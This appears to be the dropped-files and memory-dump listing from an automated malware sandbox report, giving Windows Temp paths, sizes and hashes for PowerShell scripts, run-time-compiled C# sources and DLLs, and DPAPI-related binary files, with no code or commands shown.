dpapi_output_1779280945285_qz5s3p.bin

Path C:\Users\Admin\AppData\Local\Temp\dpapi_output_1779280945285_qz5s3p.bin
Size 132B
SHA256 60344fd8b0262d6da9663b33ec12c96a83bbaf68bec3e7562895c14ff79a0ad1
MD5 fbff497369ca07bb0e7682eeeedfc609
SHA1 6eb45b57f50ebdb2468f2fb402b010a830b50e03
SHA512 452fed315364b63bef74944d59f05ad1c567f004d195f73bd84033f00e330f6ee6b1dcd108502d96f9e8cb2e43c7f1e0ccad4c286cb38bfc8d70ca21e2cf96f8
TLSH
T1F6C02BC0CC002CD3B012156352513C810D33240C836DF0F22EA542133041E004065040
MD5 SHA1 SHA512 TLSH

Submit Download

dpapi_script_1779280945285_i5s5or.ps1

Path C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280945285_i5s5or.ps1
Size 650B
SHA256 55ce59db64b55e60e68883cde2409a938fad07f2f20598f42c46692016b8a897
MD5 c717befade3b6ad00864b97df2434e9e
SHA1 16619d78873122d45bfd563267e3c43a6613756c
SHA512 227001e9192887a1782d2871e306f4898af5f784efae75193ee79fc582768f4f9f23e4a44a9c7e95109cf10ffaf85d270bddc2f8d9309cc1ae6b5fc1d7be628b
TLSH
T18BF0AC21BA91EE10598511E01639DDC989B7833F22C93F05B7CCC684BF99B0CC76885A
MD5 SHA1 SHA512 TLSH

Submit Download

system_input_1779280944582_imrkgs.bin

Path C:\Users\Admin\AppData\Local\Temp\system_input_1779280944582_imrkgs.bin
Size 640B
SHA256 832d39ca4b1245110745f430776601fa286cce5e387df6237f89d6366ec2e50a
MD5 be618cef7a0cfb7308867d65e963fc0a
SHA1 ebaad7683ab262cb3c48857e612f87c9ba55bba3
SHA512 b3b9c39eee885325523e61acf9746ecba840a21bab79703a344a7c9efa85393889697961679fa05bf871caf34f809ba4c757d130bf0bcb373e68bad7f19dea3e
TLSH
T1B3F02307257A5659E12C049CFE6F1E5547020E21E0315A76A925A401445A68DAC39B9A
MD5 SHA1 SHA512 TLSH

Submit Download

system_output_1779280944582_k1rsq.bin

Path C:\Users\Admin\AppData\Local\Temp\system_output_1779280944582_k1rsq.bin
Size 384B
SHA256 8f251d3e80212bc69c95fb98a1ac065863eb88c2d8c407426c834fbe0fa5d58a
MD5 9abf67e5f12e98bdd1dc71fc599ce403
SHA1 6d631323f91648fc7257194306b22807c4f0e471
SHA512 1157533b777dd6039ed5055cb2962b7fa5fe15ba9f5e845f42417ea05ed15fc18e4d3e01949aa27072886666902780b4741c36a632a88cad52d75bf521dfde70
TLSH
T176E0F1065AD143AED16102B4DE228A5082F0BD13C7384214B201F021D26BA441534B77
MD5 SHA1 SHA512 TLSH

Submit Download

system_script_1779280944582_hyefuq.ps1

Path C:\Users\Admin\AppData\Local\Temp\system_script_1779280944582_hyefuq.ps1
Size 9KB
SHA256 331d543cc0fbb199430bcab4098df44f6c2bd962763e75a5661d4d4ca4aaf1c9
MD5 105dc31ddac00a938d6d9df535173f8c
SHA1 5956983b44f0726c83118a59c60c5345167f8ee8
SHA512 5520ecca064d3db9e2c5b471a3d1bebe8641980feb465fc91f1f4dbf64c7299275c143958950fd353f7c74c3962e51e07502c46919c8971827709ee807783539
SSDEEP 192:wbsP5Sh/jer9mzIVsgcpX0qNqOowc9lSCdFlpiiYazNWJbCh9C:vbr9m0VuMWg0
TLSH
T1F022669857EB151408B761396EDDE04FA932111721BDAE20BDED83D09F4122EFFB6728
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

va23qf4e.dll

Path C:\Users\Admin\AppData\Local\Temp\va23qf4e\va23qf4e.dll
Size 7KB
SHA256 9d7170b9231d587dc10ea2aab566a89e3fac53ad67f206b999effd28cb0c9f20
MD5 fad658c1306633d7e846ba6bd21e20e6
SHA1 a4b421aa4fb0565dd96280b2f4c57691d5bad8cc
SHA512 439757a23b9e54eef3dae6c1dd453ce9813cf193d7f2496e23594b024246fb4d1a71cdd3691e31de4a2976939b3c1a502c7241d4f8f2b718b589f457f992d28c
SSDEEP 96:Cz/uzTLlpWz2nnlgPZyX+OTc7GPVZLio+DWfrAWW1C2K:Cz/422nnlgZs+yg0VZLio+qsWl
TLSH
T12FE1810EFBEC4918F0FF0B70ACB243129B74FC424A32A72F059551A91DB07906B65BB2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wexynfdw.dll

Path C:\Users\Admin\AppData\Local\Temp\wexynfdw\wexynfdw.dll
Size 5KB
SHA256 3f5b350f9aa90245e1987c52ab4e73949655062f9395dcfebcb28a6a9a8d1456
MD5 2c758756cf04323ccc8fa23b487518d0
SHA1 513fee108b1190ebb05407dcf1b52d83497bf870
SHA512 3b54eefc14ba76a85841363bb92c919e4463a2854105e7d5ba778129bdf5a72ff565777b8be2bc8b2b9c3e87c2621fcafc3d0a7d8030fb718f55df980612e37e
SSDEEP 96:+gnuzASY/P3WPKnTw04Q71blsHQZjqc9eK:VnFS23g50X75HZjq4
TLSH
T10EB1970B1BED016AF0BE4736DEF30342A070F4005B3787AF4498667A6C726600E667B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zafpo00k.dll

Path C:\Users\Admin\AppData\Local\Temp\zafpo00k\zafpo00k.dll
Size 5KB
SHA256 09c62b4dc959264ab3e6f15f9525af6fd7130927a2a4080b4356994e663bbe47
MD5 e1a74124c8f4846926788ef83a066e1b
SHA1 de04fa179ed8652f6082d20329f34458279a264e
SHA512 d74725d6ff2fe06fa685b99868b68b56f80c46d2ebeb5562098fa1341a3ed59c3f70931b32c2f13fd4254d10142f78f2037a4d27f9b05ef7c123b09650fc4243
SSDEEP 48:66viIW0t3xyz+tEpRrgPRu68pR+iJCzg5uJR8oi0+ZiKl95u6HWHmA1ulTa3/q:JWKkiEPrjj3ZBl9MehK
TLSH
T154B1300BABE9416EE0BF0B31A9F303132BB4FDA04B72930F095501395C613949B32BB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zfh3ooi0.dll

Path C:\Users\Admin\AppData\Local\Temp\zfh3ooi0\zfh3ooi0.dll
Size 3KB
SHA256 6ae3a36960446e937915d81e95c974875ce6487f1f79f08dd61ce643f737decb
MD5 e9a1ac27edfb8b5c1cf4433d6506b9d1
SHA1 4231f6a5a2e6a0f38cb907c9f64f3f0411371c01
SHA512 f940fa6b852614adcd444a9abe499767e44930f43ad767035896c98eba90f4abbdb1131f42f1dfffd2a0d432a7878bea65484341863a7a43b57ef2ac87bdc96a
TLSH
T18551B91AA3F8066BE8B747746EF3031337B4F8609B72975E69804368AC217645D32FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2D4919C7B5C64A958C3A265EB4EE946.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\va23qf4e\CSC2D4919C7B5C64A958C3A265EB4EE946.TMP
Size 652B
SHA256 b4b98ef81600b1909b0d6c0ee72b2411bfbeb4dd3eaca3c9476bb414a239155b
MD5 f00b9f5f883364a09be46fc6158b717a
SHA1 c57e2b1b15eb1948a5edba56d2182c7b4cbd00e6
SHA512 fa376e1653d206e5c7fd7d01512693630fc2a00b097d6a8c695a0d059571f06c5766377f3cea9c07019d654e664b39a0cbb9dc8f1fb1c3ff026109c1e1a5c2c3
TLSH
T1B5F05E0963F8420EF0F34B31BDF6436391A8BD65DE72A3ED1480031D286451099B2FB2
MD5 SHA1 SHA512 TLSH

Submit Download

va23qf4e.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\va23qf4e\va23qf4e.0.cs
Size 7KB
SHA256 ca643b55ecd7eef093f4e250e9c1587090f792d805be4a6ba5dfd782ea2c7db0
MD5 ed5c7343d932f07c99bc1126d0bf0fd0
SHA1 938f5bac59460d8fef0761ca1fdca50f1ad0d61e
SHA512 d036d0371229149eddc05b5a0c4eda5915415884ce399edb9c9dbe1b66f3029a3c67eabab63b1eb0490d26ddbaaf42c1014497783153e51fa7dc9bf61a24505b
SSDEEP 192:2r9mzIVsgcpX0qNqOowc9lSCdFlpiiYazNWJbCI:2r9m0VuMWt
TLSH
T148F1475957AB561008B77139AECEE05FA9211113127DEE307DEE43A09F0221AFFB6739
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

va23qf4e.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\va23qf4e\va23qf4e.cmdline
Size 369B
SHA256 dec249840f6a7fdc3fb4a907774a98be22c49312bac757ccd0f6d04fd252ad8f
MD5 b5cf3701e43504f836580de6ed069cfb
SHA1 d3e4d73a3cdc469affdd8271694352e6781625ad
SHA512 874880f67eba13949e9442751745acd04131bba6315366f9d13e22de263daf4710dba8c2961a5921a61652d4c509f8dfd4e289158284e5abd099d888db4996af
TLSH
T1F5E0C02BE34EC37F91DD10172169C4ACC67307432A843F8C5045440ED02710837F1742
MD5 SHA1 SHA512 TLSH

Submit Download

CSC9A24A192625D4400AAE8985FF02A995E.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\wexynfdw\CSC9A24A192625D4400AAE8985FF02A995E.TMP
Size 652B
SHA256 d20ee16a8129e8d0f957c79f56599784d612f8baf8628d84c36fbe7460431e2a
MD5 9d7963f9c919f44660b7019ad8a6b0ed
SHA1 0de9e8b2c5ec63fa4abcaf7892fdbb92c170ed9f
SHA512 d6a3297285df72703f4d6f4ff316effe86ee25d2466c894b943904647cd41c9200f7debd16009367e0af7bf3ab0cd6dafd84230c530a222fd35d650d85040a78
TLSH
T110F0820A63F8020EF0F38B70FDF6536791A8BC64DE72A3ED1440132D6C646108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

wexynfdw.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\wexynfdw\wexynfdw.0.cs
Size 3KB
SHA256 ca371a23e074f36c9077f9130821210564a5a1c3561801e4a83da991f5251266
MD5 1f84c248229f5407e7a10d6cb56ce5da
SHA1 61bafb798ab5ed5f7f03adea58ab58c1084ff7f4
SHA512 ddb968a7e2902ff34b18191ab0b89bdc722a99a7eb43d7057668dfcbf66757652396eeac4f7af8df1c1225f227dc8f273909e27434f47d356ecb967b20cb40b9
TLSH
T1EA8113215553A9FE0B231625AEDDC19CF92342270735BE203C9F19716F97221AE387AC
MD5 SHA1 SHA512 TLSH

Submit Download

wexynfdw.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\wexynfdw\wexynfdw.cmdline
Size 369B
SHA256 908094f676fe120c769022cfb2b283e2f9c362e7c4bd1a66a677654e914be2af
MD5 ed5823068027a2396eaa0e0c4ff82c2b
SHA1 dd1243d5c93145cd01e7b6906ebd2489a6a95d6c
SHA512 19deb41e1c162b42d9ca1e72cfd49515c996c8ce8591b43a9330c7d3c73396a3beb73947692ae2370f7818b2601ccb430cb56b9b07f452f31795fde2dbc8b4a7
TLSH
T162E06F7A4266C27E01FD100B236AD4EC8A720B8329883F849244843EE0270082FE2BD1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC3C8B347153644A3FAE48C79FBBEBAA60.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zafpo00k\CSC3C8B347153644A3FAE48C79FBBEBAA60.TMP
Size 652B
SHA256 3231541572f957e144e070a5c6b91421aed001ef8b067e86075af13a48cef820
MD5 afda78302eb5b030064827de726832b9
SHA1 5c3ad56b04ca100eaf1de00d1f47c94fcaf118b3
SHA512 b3d75f8085943ada5b9dc7e2cf1cf21be075ba3d1821289d38da6d8c323e80a83d3ca6c250288ab3c15e055117126fbac4417d0e21b0f07d36fc10f65e148e36
TLSH
T122F05E4A63F8020EF4F74B30BDF6836391ADBC64DE7293ED1440032928645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

zafpo00k.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zafpo00k\zafpo00k.0.cs
Size 4KB
SHA256 717a43d5e2289bcc9019eb203d0645ee8ae1f98294e0d35f4912e1d2a4ec17f3
MD5 14af8336b77201f20ca94c7a9dede0c3
SHA1 e9ab7f465aae7bfe266ad309e4fa5e1a7540d352
SHA512 8ecc558f94cb9e0c9165815f8f46097d5978aa9a2bda5554eca12a5b0a2e6aabe04f0a371838ad92df02bce6eb7780c9c75429824031a8918caebd568fb9a2e4
SSDEEP 48:J68sNoexC6XljxaSrertGgFuwyX+BYFloWoBYoEvBOigt9taHRkwXGd60F96QNT8:JjsNprjxxKAzFl3YYA7l6RywCI
TLSH
T18781D058639B571104FB70197D9AD05FE9222513227EEE2079FD83A0DF0111AE77AB39
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zafpo00k.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zafpo00k\zafpo00k.cmdline
Size 369B
SHA256 1952e967c233dcd2e7388c7baf033e20e7d1ac8f4602508dce35e7ec8ce94674
MD5 976199ed285b5e8c8e1ecf5038eaf562
SHA1 e8fcf9c8eb2fd18c54e7e9ae774e863deacb8c80
SHA512 814007250ccac49de99e0068aadd8657296e720de289ef8239892167c6d002cbe513baaff6b5de48a9a59068bc30ead46eda3ce87e0781df44180aacdb9373f2
TLSH
T10BE0C62E524ACA7D01ED120B276BC6BCC3720B8339C0BF8C9040842DE02740AABE27D1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC3999F082CF5044B6960E35374C37E2F.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zfh3ooi0\CSC3999F082CF5044B6960E35374C37E2F.TMP
Size 652B
SHA256 54e65b57f03cae4beaad7c5f99198ca3cc192ffedd0304b2d1834760bb483517
MD5 c02bc7fc32bd79850e86716b7fcf19f6
SHA1 2bdd8744f3f4e4b0bb641442741b415757a0ea4d
SHA512 8cd8d9261022a91c662ee067862e63817591b183dbebc89d101c378d801a064b81e891621ca449fde64d297a57aca7ec6a1b72d9dcdfa5fc610a585b7281807d
TLSH
T1A3F05E0A63F8120EF4F74B30BDF6836391B8BC65DE3293ED644003192C649109972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

zfh3ooi0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zfh3ooi0\zfh3ooi0.0.cs
Size 187B
SHA256 d025feb50b2ec1ccc267b1102b0248e3bf56ecd33a5b22db28cfa503dd665da1
MD5 6094ebd3a7b7885c0ec2b5c5c4c71259
SHA1 800aca71641e1eedbdade258a4db43842fe88fb8
SHA512 d535b4cb3555ae53010728b1e88551814812f2555093e4b7ab35347cbfc652fb8c2f50313387aaf094f6a1a5c58b83df78221a9ede3088785b9c4833493715a0
TLSH
T161C01228A6F7EE34449358165D0995EDBF27510B726E6A02BAA80214CF870580139E1F
MD5 SHA1 SHA512 TLSH

Submit Download

zfh3ooi0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zfh3ooi0\zfh3ooi0.cmdline
Size 369B
SHA256 98b37926036879cdab2b93d5bf4e98e9b4c7865769cfdf3ae99320006c5d08dd
MD5 8261ebb17cc4a59a412c0f508dad7889
SHA1 ae596b480b17cae3a21df649c5a6ad225e6a32e3
SHA512 7fdfaeac8238ec97d6fee612c9a2e98aac30eb9c1412530046f02102fb35fba0b5ead14c4802d3b14e4b5f45aeee9b6a65cd0e9492e935217ccd4a5f18b3bed4
TLSH
T170E0C62B6266C3FE01ED108B366AC4BCC27207832D90BF84A05084ADE03F0903BE2789
MD5 SHA1 SHA512 TLSH

Submit Download

memory/760-126-0x000001A2CA9E0000-0x000001A2CA9E8000-memory.dmp

Download

memory/760-139-0x000001A2E5E50000-0x000001A2E5E58000-memory.dmp

Download

memory/2384-76-0x000001E94F800000-0x000001E94F808000-memory.dmp

Download

memory/2384-63-0x000001E9528D0000-0x000001E952920000-memory.dmp

Download

memory/3148-330-0x000002C7B4BF0000-0x000002C7B4BF8000-memory.dmp

Download

memory/4248-46-0x0000024FB8AC0000-0x0000024FB8AC8000-memory.dmp

Download

memory/4248-30-0x0000024FD3850000-0x0000024FD3872000-memory.dmp

Download